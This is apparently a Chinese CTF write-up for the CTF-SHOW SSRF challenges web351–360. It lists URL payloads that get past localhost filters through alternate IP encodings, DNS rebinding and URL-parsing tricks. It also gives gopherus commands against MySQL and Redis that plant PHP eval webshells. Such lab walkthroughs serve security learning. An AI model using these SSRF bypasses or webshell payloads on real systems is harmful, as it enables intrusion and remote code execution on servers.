CTF-SHOW SSRF

web351

存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.php

web352 

代码中先判断是否为HTTP或https协议,之后判断我们传入的url中是否含有localhost和127.0.0,如果没有则执行下面语句

意思:过滤掉了localhost和127.0.0

url=http://0x7F.0.0.1/flag.php   16进制
url=http://0177.0.0.1/flag.php    8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php

web353 

这题与上一题类似,过滤更严格,但可以使用进制转换

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

web354 

该题过滤了1和0,使用DNS重绑定绕过

url=http://sudo.cc/flag.php

web355

限制了host长度:小于等于5,使用127.1省略绕过

url=http://127.1/flag.php


web366

此时的host长度限制为小于等于3

0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0

url=http://0/flag.php

web357

gethostbyname()函数

主要作用:用域名或者主机名获取地址,操作系统提供的库函数。

成功返回的非空指针指向如下的hostent结构:

struct hostent
{
      char *h_name;      //主机名
      char **h_aliases;  //主机别名(指向到虚拟主机的域名)
      int h_addrtype;    //主机IP地址类型
      int h_length;      //主机IP地址长度,对于IPv4是四字节
      char **h_addr_list; //主机IP地址列表
};

#define h_addr h_addr_list[0] 

filter_var() 函数

通过指定的过滤器过滤变量。

如果成功,则返回已过滤的数据,如果失败,则返回 false。

所以url不能是私有地址,需要一个公网ip

在网站http://ceye.io/注册账号,会自动分配一个域名:

http://r.xxxxxx/flag.php
xxx为分给你的域名

web358

这里的正则表示以http://ctf.开头,以show结尾,即匹配http://ctf.*show

url=http://ctf.@127.0.0.1/flag.php?show

如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#?,会把show也解析到path中,得不到想要的结果

web359

抓包发现有个returl参数,并且可以随意更改url

gopher协议打mysql

python gopherus.py --exploit mysql

生成一句话木马:

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

访问2.php,cat一下

web360

跟上题一样,只不过换成打redis

python gopherus.py --exploit redis

<?php eval($_POST['cmd']);?>

然后访问shell.php

相关推荐

  1. <span style='color:red;'>CTF</span> 7

    CTF 7

    2024-04-12 22:52:01      36 阅读
  2. <span style='color:red;'>CTF</span> 6

    CTF 6

    2024-04-12 22:52:01      40 阅读
  3. JIS-<span style='color:red;'>CTF</span>

    JIS-CTF

    2024-04-12 22:52:01      36 阅读
  4. <span style='color:red;'>ctf</span>题目

    ctf题目

    2024-04-12 22:52:01      18 阅读
  5. sql 注入 ctf wiki

    2024-04-12 22:52:01       45 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-12 22:52:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-12 22:52:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-12 22:52:01       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-12 22:52:01       20 阅读

热门阅读

  1. DataSource

    2024-04-12 22:52:01       19 阅读
  2. 90天玩转Python—14—基础知识篇:变量进阶

    2024-04-12 22:52:01       16 阅读
  3. Debian11 下源码编译 rtpengine 11.1

    2024-04-12 22:52:01       15 阅读
  4. sklearn的LabelEncoder 遇到新值的解决办法

    2024-04-12 22:52:01       14 阅读
  5. NOI / 1.6编程基础之一维数组

    2024-04-12 22:52:01       14 阅读
  6. redis的缓存击穿、缓存穿透、缓存雪崩

    2024-04-12 22:52:01       19 阅读
  7. 【leetcode面试经典150题】45. 快乐数(C++)

    2024-04-12 22:52:01       21 阅读
  8. IP为什么要分类呢

    2024-04-12 22:52:01       19 阅读
  9. linux上blkid命令

    2024-04-12 22:52:01       19 阅读